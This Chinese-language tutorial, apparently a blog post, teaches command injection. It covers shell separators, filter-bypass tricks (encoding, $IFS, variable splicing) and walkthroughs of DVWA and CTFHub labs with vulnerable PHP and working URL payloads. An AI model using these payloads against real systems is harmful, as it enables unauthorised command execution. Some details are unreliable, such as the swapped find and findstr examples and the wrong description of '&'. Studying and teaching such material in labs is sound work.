Windows
0 个文件 0 字节
7 个目录 209,107,546,112 可用字节
```
#### 1.2、查看文件相关指令
##### 1.2.1、type
**介绍:**`DOS` 命令行下查看文件内容的工具
**举例:**
```powershell
C:\Users\valecalida\Desktop>type flag.txt
flag
flag_is_here
```
##### 1.2.2、more
**介绍:**`DOS` 命令行下查看文件内容的工具,可以多屏显示
**举例:**
```powershell
C:\Users\valecalida\Desktop>more flag.txt
flag
flag_is_here
```
##### 1.2.3、find
**介绍:**`DOS` 命令行下在文件中查找指定内容的工具
**举例:**
```powershell
C:\Users\valecalida\Desktop>findstr .* flag.txt
flag
flag_is_here
```
##### 1.2.4、findstr
**介绍:**`DOS` 命令行下查找文件或内容的工具
**举例:**
```powershell
C:\Users\valecalida\Desktop>find /V "" flag.txt
---------- FLAG.TXT
flag
flag_is_here
```
### 2、在 `Linux` 下的使用
这部分的演示直接用 `WSL` 。
#### 2.1、管道符
##### 2.1.1、`;`
**作用**:执行完前面的语句再执行后面的。
**举例:**
```bash
➜ Desktop ping -c 1 127.0.0.1;whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.209 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.209/0.209/0.209/0.000 ms
root
```
**Tips:**这里需要注意的是,如果前面的命令是错的,后面的也会执行
##### 2.1.2、`|`
**作用**:显示后面语句的执行结果。
**举例:**
```bash
➜ Desktop ping -c 1 127.0.0.1 | whoami
root
```
**Tips:** 由于这个特性,所以前面无论是否正确都能获得后面命令的输出
##### 2.1.3、`||`
**作用:当前面的语句执行出错时执行后面的语句**
**举例:**
```bash
➜ Desktop ping 127.0.0. || whoami
ping: 127.0.0.: Name or service not known
root
```
**Tips:** 这里可以直接将前面命令置为错误的
##### 2.1.4、`&`
**作用**:如果前面的语句为假就直接执行后面的语句
**举例:**
```bash
➜ valecalida ping -c 1 127.0.0. & whoami
[1] 40
root
```
**Tips:** 前面的语句同样可是为真
##### 2.1.5、`&&`
**作用**:如果前面的语句为假直接出错,后面的也不执行,所以前面的必须为真
**举例:**
```bash
➜ valecalida ping -c 1 127.0.0. && whoami
ping: 127.0.0.: Name or service not known
➜ valecalida ping -c 1 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.202 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.202/0.202/0.202/0.000 ms
root
```
#### 2.2、查看文件相关指令
##### 2.2.1、cat
**介绍:**`SHELL` 命令行下查看文件内容的工具
**举例:**
```bash
➜ Desktop cat flag.txt
flag
flag_is_here
```
##### 2.2.2、more
**介绍:**`SHELL` 命令行下多屏显示文件内容的工具
**举例:**
```bash
➜ Desktop more flag.txt
flag
flag_is_here
```
##### 2.2.3、less
**介绍:**`SHELL` 命令行下查看文件内容的工具
**举例:**
```bash
➜ Desktop less flag.txt
flag
flag_is_here
flag.txt (END)
```
##### 2.2.4、head
**介绍:**`SHELL` 命令行下查看文件内容的工具
**举例:**
```bash
➜ Desktop head -n 2 flag.txt
flag
flag_is_here
```
##### 2.2.5、tail
**介绍:**`SHELL` 命令行下查看文件内容的工具
**举例:**
```bash
➜ Desktop tail -n 2 flag.txt
flag
flag_is_here
```
##### 2.2.6、tac
**介绍:**`SHELL` 命令行下逆序查看文件内容的工具
**举例:**
```bash
➜ Desktop tac flag.txt
flag_is_here
flag
```
##### 2.2.7、grep
**介绍:**`SHELL` 命令行下查看文件内容的工具
**举例:**
```bash
➜ Desktop grep -v "\n" flag.txt
flag
flag_is_here
```
##### 2.2.8、sed
**介绍:**`SHELL` 命令行下处理文件内容的工具
**举例:**
```bash
➜ Desktop sed -n 1,2p flag.txt
flag
flag_is_here
```
##### 2.2.9、nl
**介绍:**`SHELL` 命令行下输出文件内容并添加行号的工具
**举例:**
```bash
➜ Desktop nl flag.txt
1 flag
2 flag_is_here
```
##### 2.2.10、*vi/vim
**介绍:**`SHELL` 命令行下编辑文件内容的工具,通常Linux默认安装了vi
**举例:**
```bash
➜ Desktop vi flag.txt
flag
flag_is_here
```
### 3、某些特殊字符的绕过
#### 3.1、空格的绕过
##### 3.1.1、`<`
```bash
➜ Desktop cat flag
flag_is_here
```
##### 3.1.2、`$IFS`
```bash
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# cat${IFS}flag.txt
flag
flag_is_here
```
**Tips:**这里需要注意,在 `zsh` 下 `$IFS` 是用不了的,只能在原SHELL环境下使用
##### 3.1.3、`{Command,Object}`
```bash
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# {cat,flag.txt}
flag
flag_is_here
```
##### 3.1.4、`<>`
```bash
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# cat<>flag.txt
flag
flag_is_here
```
##### 3.1.5、`$IFS$9`
`$9` 是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
```bash
root@DESKTOP-OHTJ68E:# cat$IFS$9flag.txt
flag
flag_is_here
```
#### 3.2、`/` 的绕过
##### 3.2.1、环境变量绕过
环境变量中第一个字符永远都是 `/` ,因此可以利用这个来绕过
```bash
root@VALECALIDA:~# cat ${PATH:0:1}root${PATH:0:1}flag.txt
flag
flag_is_here
```
##### 3.2.2、`$(echo . | tr '!-0' '"-1')`
```bash
root@VALECALIDA:~# cat $(echo . | tr '!-0' '"-1')root$(echo . | tr '!-0' '"-1')flag.txt
flag
flag_is_here
```
##### 3.2.3、`$(tr '!-0' '"-1' <<< .)`
```bash
root@VALECALIDA:~# cat $(tr '!-0' '"-1' <<< .)root$(tr '!-0' '"-1' <<< .)flag.txt
flag
flag_is_here
```
#### 3.3、`cat` 的绕过
此处其他命令也是一样的方法
##### 3.3.1、变量拼接
让变量 `a` 、`b` 分别表示 `cat` 的某一部分,使得这两个变量拼接在一起时能够形成完整的 `cat`
```bash
root@DESKTOP-OHTJ68E:# a=ca;b=t;$a$b${IFS}flag.txt
flag
flag_is_here
```
##### 3.3.2、编码绕过
###### **十六进制编码**
先将命令转换为 `16进制` ,最后的 `0a` 是换行符不必管它,也可以去掉,不过它不影响最终结果
```bash
root@DESKTOP-OHTJ68E:# echo $(xxd -pu <<< "cat flag.txt")
63617420666c61672e7478740a
#或者可以用下面这个命令
root@DESKTOP-OHTJ68E:# echo -n "cat flag.txt" | od -A n -t x1 | sed 's/ //g'
63617420666c61672e747874
```
然后利用 `xxd` 将文件内容转码回来
```bash
root@DESKTOP-OHTJ68E:# echo 63617420666C61672E747874 | xxd -r -p | bash
flag
flag_is_here
```
###### **八进制编码**
这里一样,需要先将命令转换为 `8进制`
```bash
root@DESKTOP-OHTJ68E:# echo -n "cat flag.txt" | od -A n -t o1 | sed 's# #\\#g'
\143\141\164\040\146\154\141\147\056\164\170\164
```
执行对应的命令
```bash
root@DESKTOP-OHTJ68E:# $(printf "\143\141\164\040\146\154\141\147\056\164\170\164")
flag
flag_is_here
#这里也可以直接用对应的命令替换,同样能达到效果
root@DESKTOP-OHTJ68E:# $(printf $(echo -n "cat flag.txt" | od -A n -t o1 | sed 's# #\\#g'))
flag
flag_is_here
```
###### **Base64编码**
首先将命令转换位 `Base64` 编码
```bash
root@DESKTOP-OHTJ68E:# echo "cat flag.txt" | base64
Y2F0IGZsYWcudHh0Cg==
```
然后将命令执行一下:
```bash
root@DESKTOP-OHTJ68E:# `echo Y2F0IGZsYWcudHh0Cg== | base64 -d`
flag
flag_is_here
#或者干脆调用命令
root@DESKTOP-OHTJ68E:# `echo $(echo "cat flag.txt" | base64) | base64 -d`
flag
flag_is_here
```
##### 3.3.3、反斜线绕过
```bash
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca\t fl\ag.txt
flag
flag_is_here
```
##### 3.3.4、单双引号绕过
```bash
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca''t fla""g.txt
flag
flag_is_here
```
##### 3.3.5、`$@` 绕过
```bash
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca$@t fla$@g.txt
flag
flag_is_here
```
## 三、从案例看 `Command_Injection`
### 1、DVWA
#### 1.1、Level——Low
**源码:**
```php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "
{$cmd}";
}
?>
```
**分析:**
可以看到,该等级没有对用户的输入做任何限制,直接执行用户传递进来的参数
**突破:**
先构造一个最简单的语句 `127;ls ` 来查看本地存在的文件内容

可以看到,本地上存在一个 `flag.php` 文件,同时 `ls` 命令执行成功了说明这是 `Linux` 操作系统,构造新语句: `127;cat${IFS}flag.php` 来获取 `flag`

#### 1.2、Level——Medium
**源码:**
```php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "
{$cmd}";
}
?>
```
**分析:**
可以看到,该等级已经添加了过滤,会直接把 `&&` 和 `;` 过滤掉,所以在绕过的时候就不能用这个了
**突破:**
在上面的命令注入符号集中我也分析了 `|` 这种符号,刚好可以用在这,于是构造语句 `127|ls`

发现可以获取到当前路径下的文件和文件夹,于是构造 `127|cat${IFS}flag.php` 直接查看 `flag`

#### 1.2、Level——High
**源码:**
```php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "
{$cmd}";
}
?>
```
**分析:**
可以看到这次过滤范围更广了,将 `&`、`;`、`| `、`_`、`$`、`(`、`)`、"\`"、`||` 这些字符过滤了,但是 `| `这个符号后面有个空格,于是可以作为突破口构造语句 `127|ls`

**突破:**
可以看到获取到了文件夹下的相关内容,接着直接获取 `flag`

### 2、CTFHUB
#### 2.1、过滤了 `cat`
**源码:**
```php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
```
**源码分析:**
只是对输入的数据进行匹配,匹配到 `cat` 就过滤掉,置为空,没有就执行
**突 破:**
**常规方法:**
使用 `more、less、tail、head、tac、grep...` 突破
**绕过方法:**
变量拼接绕过
```bash
?ip=1%7C%7Ca=c;b=at;$a$b${IFS}flag_555743693183.php#
```

`Base64` 编码绕过
```bash
`echo+Y2F0IGZsYWdfNTU1NzQzNjkzMTgzLnBocAo=+|+base64+-d`#
```

单双引号绕过
```bash
?ip=1||ca%27%27t%20flag_555743693183.php#
```

`$@` 绕过
```bash
?ip=1||ca$@t%20flag_555743693183.php#
```

反斜线绕过
```bash
?ip=1||ca\t%20flag_555743693183.php#
```

#### 2.2、过滤了空格
**源码:**
```php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
```
**源码分析:**
该程序对所有用户输入的数据中的空格做过滤。
**突 破:**
这里只写几种方式,方式比较多,就不一一写了。
使用 `1|ls` 确认包含 `flag` 的文件名为:`flag_3854640629200.php`
**使用 `<` 绕过**
```bash
?ip=1%7Ccat%3Cflag_3854640629200.php#
```

**使用 `${IFS} ` 绕过**
```bash
?ip=1%7Ccat${IFS}flag_3854640629200.php#
```

**使用 `$IFS$9`**
```bash
?ip=1%7Ccat$IFS$9flag_3854640629200.php#
```

#### 2.3、过滤目录分隔符
**源码:**
```php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
```
**源码分析:**
本次只过滤一个 `/` 符号,也就是目录分割符。
**突破:**
最基本的思路是切换路径,然后查看 `flag`
```bash
?ip=127.0.0.1;cd flag_is_here;cat flag_39981724213143.php#
```

**使用 `${PATH:0:1}` 即环境变量绕过**
```bash
?ip=1|cat%20flag_is_here${PATH:0:1}flag_39981724213143.php#
```

**使用 `$(echo . | tr '!-0' '"-1')` 绕过**
```bash
?ip=127.0.0.1|cat flag_is_here$(echo . | tr '!-0' '"-1')flag_39981724213143.php#
```

#### 2.4、综合练习
**源码:**
```php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
```
**源码分析:**
代码中过滤了 `|` 、`&`、`;`、`/`、`cat`、` `、`flag`、`ctfhub`、所以说 `||` 和 `&&` 也都不能用了,这时候就需要没有空格的执行命令了
**突破:**
Linux下默认的换行符为`0a`,在`URL`中也可以用 `%0a` 来代替,另外还有回车符 `%0d`
先获取当前目录信息
```bash
?ip=127.0.0.1%0als#
```

可以看到,这里`flag` 所在路径在 `flag_is_here` 这个文件夹下面,所以下一步需要探查这个文件夹下的内容,用 `${IFS}` 代替空格,`[a-z]` 代表其中的一个字符,进行查询
```bash
?ip=127.0.0.1%0als${IFS}fla[a-z]_is_here#
```

可以看到包含 `flag` 的文件名称为: `flag_324971920919598.php`,接着就需要获取 `flag` 信息了
```bash
?ip=127.0.0.1%0amore${IFS}fla[a-z]_is_here${PATH:0:1}fl[a-z]g_324971920919598.php#
```

还可以构造
```bash
?ip=127.0.0.1%0acd${IFS}fla[a-z]_is_here%0ac%27%27at${IFS}fl[a-z]g_324971920919598.php#
```

当然还有其他的一些变形,就不都写出来了
### Addtions:
后续会再补充新的姿势进来,敬请期待....